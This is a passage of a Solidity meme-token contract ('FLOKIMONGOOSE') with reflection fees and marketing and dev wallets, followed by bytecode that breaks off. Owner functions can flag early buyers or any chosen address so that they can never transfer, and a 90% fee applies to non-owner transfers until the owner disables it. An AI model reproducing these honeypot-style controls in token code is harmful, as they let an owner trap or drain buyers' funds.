address payable private marketingWallet = payable(0xAf4B225b7976490dfeab19345C602cEF0C3A1239); // Marketing Wallet
address payable private devWallet = payable (0x89ff2Bc27eA655A756eaB9CDa4ba99e8405DD2b9); // dev Wallet
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isSniper;
uint256 public deadBlocks = 2;
uint256 public launchedAt = 0;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isMaxWalletExempt;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isTrusted;
address[] private _excluded;
address DEAD = 0x000000000000000000000000000000000000dEaD;
uint8 private _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "FLOKIMONGOOSE";
string private _symbol = "FLOKIMONG";
uint256 public _maxWalletToken = _tTotal.div(1000).mul(20); //2% for first few mins
uint256 public _buyLiquidityFee = 30;
uint256 public _buyDevFee = 30;
uint256 public _buyMarketingFee = 60;
uint256 public _buyReflectionFee = 10;
uint256 public _sellLiquidityFee = 40;
uint256 public _sellMarketingFee = 60;
uint256 public _sellDevFee = 80; //8%
uint256 public _sellReflectionFee = 0;
uint256 private liquidityFee = _buyLiquidityFee;
uint256 private marketingFee = _buyMarketingFee;
uint256 private devFee = _buyDevFee;
uint256 private reflectionFee=_buyReflectionFee;
uint256 private totalFee =
liquidityFee.add(marketingFee).add(devFee);
uint256 private currenttotalFee = totalFee;
uint256 public swapThreshold = _tTotal.div(10000).mul(5); //0.05%
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwap;
bool public tradingOpen = false;
bool public zeroBuyTaxmode = false;
bool private antiBotmode = true;
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isMaxWalletExempt[owner()] = true;
_isMaxWalletExempt[address(this)] = true;
_isMaxWalletExempt[uniswapV2Pair] = true;
_isMaxWalletExempt[DEAD] = true;
_isTrusted[owner()] = true;
_isTrusted[uniswapV2Pair] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading(bool _status,uint256 _deadBlocks) external onlyOwner() {
tradingOpen = _status;
excludeFromReward(address(this));
excludeFromReward(uniswapV2Pair);
if(tradingOpen && launchedAt == 0){
launchedAt = block.number;
deadBlocks = _deadBlocks;
}
}
function setZeroBuyTaxmode(bool _status) external onlyOwner() {
zeroBuyTaxmode=_status;
}
function disableAntiBotmode() external onlyOwner() {
antiBotmode=false;
uint256 balance = balanceOf(address(this));
_maxWalletToken = _tTotal.div(1000).mul(2); //0.2%
IERC20(address(this)).transfer(DEAD, balance.mul(5).div(10)); //send 50% to dead address
}
//incase if the above function throws error
function disableBotProtection() external onlyOwner() {
antiBotmode=false;
}
function setNewRouter(address newRouter) external onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
uniswapV2Pair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
uniswapV2Pair = get_pair;
}
uniswapV2Router = _newRouter;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[from], "You have no power here!");
if (from!= owner() && to!= owner()) require(tradingOpen, "Trading not yet enabled."); //transfers disabled before openTrading
bool takeFee = false;
//take fee only on swaps
if ( (from==uniswapV2Pair || to==uniswapV2Pair) && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) {
takeFee = true;
}
if(launchedAt>0 && (!_isMaxWalletExempt[to] && from!= owner()) && !((launchedAt + deadBlocks) > block.number)){
require(amount+ balanceOf(to)<=_maxWalletToken,
"Total Holding is currently limited");
}
currenttotalFee=totalFee;
reflectionFee=_buyReflectionFee;
if(tradingOpen && to == uniswapV2Pair) { //sell
currenttotalFee= _sellLiquidityFee.add(_sellMarketingFee).add(_sellDevFee);
reflectionFee=_sellReflectionFee;
}
//antibot - first 2 blocks
if(launchedAt>0 && (launchedAt + deadBlocks) > block.number){
_isSniper[to]=true;
}
//Punish high slippage bots for next - only bot txns go through here
if(launchedAt>0 && from!= owner() && block.number >= (launchedAt + deadBlocks) && antiBotmode){
currenttotalFee=900; //90% -> only on launch -> cant be enabled in future
}
if(zeroBuyTaxmode){
if(tradingOpen && from == uniswapV2Pair) { //buys
currenttotalFee=0;
}
}
//sell
if (!inSwap && tradingOpen && to == uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance>=swapThreshold){
contractTokenBalance = swapThreshold;
swapTokens(contractTokenBalance);
}
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
uint256 amountToLiquify = contractTokenBalance
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);
swapTokensForEth(amountToSwap);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
uint256 amountETHdev = amountETH.mul(devFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
//Send to marketing wallet and dev wallet
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(amountETHMarketing,marketingWallet);
sendETHToFee(amountETHdev,devWallet);
}
if (amountToLiquify > 0) {
addLiquidity(amountToLiquify,amountETHLiquidity);
}
}
function sendETHToFee(uint256 amount,address payable wallet) private {
wallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
uint256 _previousReflectionFee=reflectionFee;
uint256 _previousTotalFee=currenttotalFee;
if(!takeFee){
reflectionFee = 0;
currenttotalFee=0;
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee){
reflectionFee = _previousReflectionFee;
currenttotalFee=_previousTotalFee;
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(reflectionFee).div(
10**3
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(currenttotalFee).div(
10**3
);
}
function excludeMultiple(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function excludeFromFee(address[] calldata addresses) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isExcludedFromFee[addresses[i]] = true;
}
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setWallets(address _marketingWallet,address _devWallet) external onlyOwner() {
marketingWallet = payable(_marketingWallet);
devWallet = payable(_devWallet);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function isSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function manage_Snipers(address[] calldata addresses, bool status) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
if(!_isTrusted[addresses[i]]){
_isSniper[addresses[i]] = status;
}
}
}
function manage_trusted(address[] calldata addresses) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isTrusted[addresses[i]]=true;
}
}
function distribute_airdrop(address from, address[] calldata addresses, uint256 tokens) external onlyOwner {
require(addresses.length < 2001,"GAS Error: max airdrop limit is 2000 addresses"); // to prevent overflow
uint256 SCCC = tokens* 10**_decimals * addresses.length;
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");
for(uint i=0; i < addresses.length; i++){
_transfer(from,addresses[i],(tokens* 10**_decimals));
}
}
function withDrawLeftoverETH(address payable receipient) public onlyOwner {
receipient.transfer(address(this).balance);
}
function withdrawStuckTokens(IERC20 token, address to) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.transfer(to, balance);
}
function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner() {
_maxWalletToken = _tTotal.div(1000).mul(maxWallPercent_base1000);
}
function setMaxWalletExempt(address _addr) external onlyOwner {
_isMaxWalletExempt[_addr] = true;
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
}
function setTaxesBuy(uint256 _reflectionFee, uint256 _liquidityFee, uint256 _marketingFee,uint256 _devFee) external onlyOwner {
_buyLiquidityFee = _liquidityFee;
_buyMarketingFee = _marketingFee;
_buyDevFee = _devFee;
_buyReflectionFee= _reflectionFee;
reflectionFee= _reflectionFee;
devFee = _devFee;
marketingFee = _marketingFee;
liquidityFee = _liquidityFee;
totalFee = liquidityFee.add(marketingFee).add(devFee);
require(totalFee.add(reflectionFee) <= 200,"total buy fee cant be more than 20%"); // to prevent overflow
}
function setTaxesSell(uint256 _reflectionFee,uint256 _liquidityFee, uint256 _marketingFee,uint256 _devFee) external onlyOwner {
_sellLiquidityFee = _liquidityFee;
_sellMarketingFee = _marketingFee;
_sellDevFee = _devFee;
_sellReflectionFee= _reflectionFee;
require(_sellLiquidityFee.add(_sellMarketingFee).add(_sellDevFee).add(_sellReflectionFee) <= 300,"total sell fee cant be more than 30%"); // to prevent overflow
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | 0x60806040526004361061037a5760003560e01c80636ce37fa0116101d1578063a457c2d711610102578063dc44b6a0116100a0578063f259c57b1161006f578063f259c57b14610a18578063f2fde38b14610a38578063fabb0b4f14610a58578063ffb54a9914610a6e57600080fd5b8063dc44b6a01461097c578063dd62ed3e14610992578063ea2f0b37146109d8578063eafb5a3c146109f857600080fd5b8063c5d24189116100dc578063c5d241891461091a578063c860795214610930578063c9cf778914610946578063d3f6a1571461095c57600080fd5b8063a457c2d7146108c4578063a9059cbb146108e4578063bf56b3711461090457600080fd5b806384530c461161016f5780638da5cb5b116101495780638da5cb5b146108515780638f4590d21461086f57806395d89b411461088f578063a0c5efc2146108a457600080fd5b806384530c46146107e257806388790a681461080257806388f820201461081857600080fd5b806371b9189c116101ab57806371b9189c14610776578063743942b6146107965780637598f8bc146107b657806378109e54146107cc57600080fd5b80636ce37fa01461072157806370a0823114610741578063715018a61461076157600080fd5b80632dd5efe7116102ab5780634523a7a1116102495780634b01547f116102235780634b01547f146106ab57806352390c02146106cb5780635d54c0af146106eb578063620158521461070b57600080fd5b80634523a7a1146106565780634549b0391461066b57806349bd5a5e1461068b57600080fd5b806337533c911161028557806337533c91146105eb57806339509351146106005780633bd5d17314610620578063401aa5c01461064057600080fd5b80632dd5efe71461057f578063313ce5671461059f5780633685d419146105cb57600080fd5b806318160ddd1161031857806325b86edf116102f257806325b86edf146104fe5780632691bc801461051e5780632d4103d61461053f5780632d8381191461055f57600080fd5b806318160ddd146104a957806323ab8a93146104be57806323b872dd146104de57600080fd5b8063095ea7b311610354578063095ea7b3146103f35780630f3a325f1461042357806313114a9d1461045c5780631694505e1461047157600080fd5b80630445b6671461038657806306fdde03146103af57806309302dc6146103d157600080fd5b3661038157005b600080fd5b34801561039257600080fd5b5061039c60255481565b6040519081526020015b60405180910390f35b3480156103bb57600080fd5b506103c4610a8f565b6040516103a691906133e7565b3480156103dd57600080fd5b506103f16103ec36600461343c565b610b21565b005b3480156103ff57600080fd5b5061041361040e36600461346d565b610b7b565b60405190151581526020016103a6565b34801561042f57600080fd5b5061041361043e366004613499565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561046857600080fd5b5060135461039c565b34801561047d57600080fd5b50602654610491906001600160a01b031681565b6040516001600160a01b0390911681526020016103a6565b3480156104b557600080fd5b5060115461039c565b3480156104ca57600080fd5b506103f16104d9366004613502565b610b92565b3480156104ea57600080fd5b506104136104f936600461355e565b610d26565b34801561050a57600080fd5b506103f161051936600461359f565b610d8f565b34801561052a57600080fd5b5060275461041390600160b01b900460ff1681565b34801561054b57600080fd5b506103f161055a3660046135e6565b610ebf565b34801561056b57600080fd5b5061039c61057a36600461343c565b610f4a565b34801561058b57600080fd5b506103f161059a366004613499565b610fce565b3480156105ab57600080fd5b50601054600160a01b900460ff1660405160ff90911681526020016103a6565b3480156105d757600080fd5b506103f16105e6366004613499565b61101c565b3480156105f757600080fd5b506103f16111cf565b34801561060c57600080fd5b5061041361061b36600461346d565b6112da565b34801561062c57600080fd5b506103f161063b36600461343c565b611310565b34801561064c57600080fd5b5061039c601a5481565b34801561066257600080fd5b506103f16113fa565b34801561067757600080fd5b5061039c610686366004613604565b611433565b34801561069757600080fd5b50602754610491906001600160a01b031681565b3480156106b757600080fd5b506103f16106c6366004613629565b6114c0565b3480156106d757600080fd5b506103f16106e6366004613499565b611508565b3480156106f757600080fd5b506103f1610706366004613646565b6115f2565b34801561071757600080fd5b5061039c60185481565b34801561072d57600080fd5b506103f161073c36600461369d565b6116d8565b34801561074d57600080fd5b5061039c61075c366004613499565b611789565b34801561076d57600080fd5b506103f16117e8565b34801561078257600080fd5b506103f16107913660046136cf565b61185c565b3480156107a257600080fd5b506103f16107b1366004613499565b6118fb565b3480156107c257600080fd5b5061039c601e5481565b3480156107d857600080fd5b5061039c60165481565b3480156107ee57600080fd5b506103f16107fd3660046136cf565b61195a565b34801561080e57600080fd5b5061039c601b5481565b34801561082457600080fd5b50610413610833366004613499565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561085d57600080fd5b506000546001600160a01b0316610491565b34801561087b57600080fd5b506103f161088a366004613711565b6119f4565b34801561089b57600080fd5b506103c4611a3e565b3480156108b057600080fd5b506103f16108bf36600461369d565b611a4d565b3480156108d057600080fd5b506104136108df36600461346d565b611b1b565b3480156108f057600080fd5b506104136108ff36600461346d565b611b6a565b34801561091057600080fd5b5061039c600a5481565b34801561092657600080fd5b5061039c60195481565b34801561093c57600080fd5b5061039c601c5481565b34801561095257600080fd5b5061039c601d5481565b34801561096857600080fd5b506103f161097736600461359f565b611b77565b34801561098857600080fd5b5061039c60175481565b34801561099e57600080fd5b5061039c6109ad36600461359f565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156109e457600080fd5b506103f16109f3366004613499565b611bcf565b348015610a0457600080fd5b506103f1610a13366004613499565b611c1a565b348015610a2457600080fd5b506103f1610a33366004613499565b611fa0565b348015610a4457600080fd5b506103f1610a53366004613499565b611fee565b348015610a6457600080fd5b5061039c60095481565b348015610a7a57600080fd5b5060275461041390600160a81b900460ff1681565b606060148054610a9e90613733565b80601f0160208091040260200160405190810160405280929190818152602001828054610aca90613733565b8015610b175780601f10610aec57610100808354040283529160200191610b17565b820191906000526020600020905b815481529060010190602001808311610afa57829003601f168201915b5050505050905090565b6000546001600160a01b03163314610b545760405162461bcd60e51b8152600401610b4b9061376e565b60405180910390fd5b610b7581610b6f6103e86011546120d890919063ffffffff16565b9061211a565b60165550565b6000610b883384846121f8565b5060015b92915050565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b8152600401610b4b9061376e565b6107d18210610c245760405162461bcd60e51b815260206004820152602e60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526d323030302061646472657373657360901b6064820152608401610b4b565b6010546000908390610c4190600160a01b900460ff16600a61389d565b610c4b90846138ac565b610c5591906138ac565b905080610c6186611789565b1015610caf5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610b4b565b60005b83811015610d1e57610d0c86868684818110610cd057610cd06138cb565b9050602002016020810190610ce59190613499565b601054610cfd90600160a01b900460ff16600a61389d565b610d0790876138ac565b61231c565b80610d16816138e1565b915050610cb2565b505050505050565b6000610d3384848461231c565b610d858433610d8085604051806060016040528060288152602001613a86602891396001600160a01b038a166000908152600760209081526040808320338452909152902054919061283f565b6121f8565b5060019392505050565b6000546001600160a01b03163314610db95760405162461bcd60e51b8152600401610b4b9061376e565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b158015610dfb57600080fd5b505afa158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3391906138fc565b60405163a9059cbb60e01b81526001600160a01b038481166004830152602482018390529192509084169063a9059cbb90604401602060405180830381600087803b158015610e8157600080fd5b505af1158015610e95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb99190613915565b50505050565b6000546001600160a01b03163314610ee95760405162461bcd60e51b8152600401610b4b9061376e565b6027805460ff60a81b1916600160a81b84151502179055610f0930611508565b602754610f1e906001600160a01b0316611508565b602754600160a81b900460ff168015610f375750600a54155b15610f465743600a5560098190555b5050565b6000601254821115610fb15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610b4b565b6000610fbb612879565b9050610fc783826120d8565b9392505050565b6000546001600160a01b03163314610ff85760405162461bcd60e51b8152600401610b4b9061376e565b6001600160a01b03166000908152600c60205260409020805460ff19166001179055565b6000546001600160a01b031633146110465760405162461bcd60e51b8152600401610b4b9061376e565b6001600160a01b0381166000908152600d602052604090205460ff166110ae5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b4b565b60005b600f54811015610f4657816001600160a01b0316600f82815481106110d8576110d86138cb565b6000918252602090912001546001600160a01b031614156111bd57600f805461110390600190613932565b81548110611113576111136138cb565b600091825260209091200154600f80546001600160a01b03909216918390811061113f5761113f6138cb565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600682526040808220829055600d90925220805460ff19169055600f80548061119757611197613949565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806111c7816138e1565b9150506110b1565b6000546001600160a01b031633146111f95760405162461bcd60e51b8152600401610b4b9061376e565b6027805460ff60b81b19169055600061121130611789565b905061122f6002610b6f6103e86011546120d890919063ffffffff16565b601655601054309063a9059cbb906001600160a01b031661125c600a61125686600561211a565b906120d8565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156112a257600080fd5b505af11580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f469190613915565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610b88918590610d809086612199565b336000818152600d602052604090205460ff16156113855760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610b4b565b60006113908361289c565b505050506001600160a01b0384166000908152600560205260409020549192506113bc919050826128eb565b6001600160a01b0383166000908152600560205260409020556012546113e290826128eb565b6012556013546113f29084612199565b601355505050565b6000546001600160a01b031633146114245760405162461bcd60e51b8152600401610b4b9061376e565b6027805460ff60b81b19169055565b60006011548311156114875760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610b4b565b816114a65760006114978461289c565b50939550610b8c945050505050565b60006114b18461289c565b50929550610b8c945050505050565b6000546001600160a01b031633146114ea5760405162461bcd60e51b8152600401610b4b9061376e565b60278054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146115325760405162461bcd60e51b8152600401610b4b9061376e565b6001600160a01b0381166000908152600560205260409020541561158c576001600160a01b03811660009081526005602052604090205461157290610f4a565b6001600160a01b0382166000908152600660205260409020555b6001600160a01b03166000818152600d60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b0319169091179055565b6000546001600160a01b0316331461161c5760405162461bcd60e51b8152600401610b4b9061376e565b60005b82811015610eb957600e600085858481811061163d5761163d6138cb565b90506020020160208101906116529190613499565b6001600160a01b0316815260208101919091526040016000205460ff166116c857816008600086868581811061168a5761168a6138cb565b905060200201602081019061169f9190613499565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b6116d1816138e1565b905061161f565b6000546001600160a01b031633146117025760405162461bcd60e51b8152600401610b4b9061376e565b601b839055601c829055601d819055601e84905561012c61172f8561172984818888612199565b90612199565b1115610eb95760405162461bcd60e51b8152602060048201526024808201527f746f74616c2073656c6c206665652063616e74206265206d6f7265207468616e6044820152632033302560e01b6064820152608401610b4b565b6001600160a01b0381166000908152600d602052604081205460ff16156117c657506001600160a01b031660009081526006602052604090205490565b6001600160a01b038216600090815260056020526040902054610b8c90610f4a565b6000546001600160a01b031633146118125760405162461bcd60e51b8152600401610b4b9061376e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146118865760405162461bcd60e51b8152600401610b4b9061376e565b60005b818110156118f6576001600b60008585858181106118a9576118a96138cb565b90506020020160208101906118be9190613499565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556118ef816138e1565b9050611889565b505050565b6000546001600160a01b031633146119255760405162461bcd60e51b8152600401610b4b9061376e565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610f46573d6000803e3d6000fd5b6000546001600160a01b031633146119845760405162461bcd60e51b8152600401610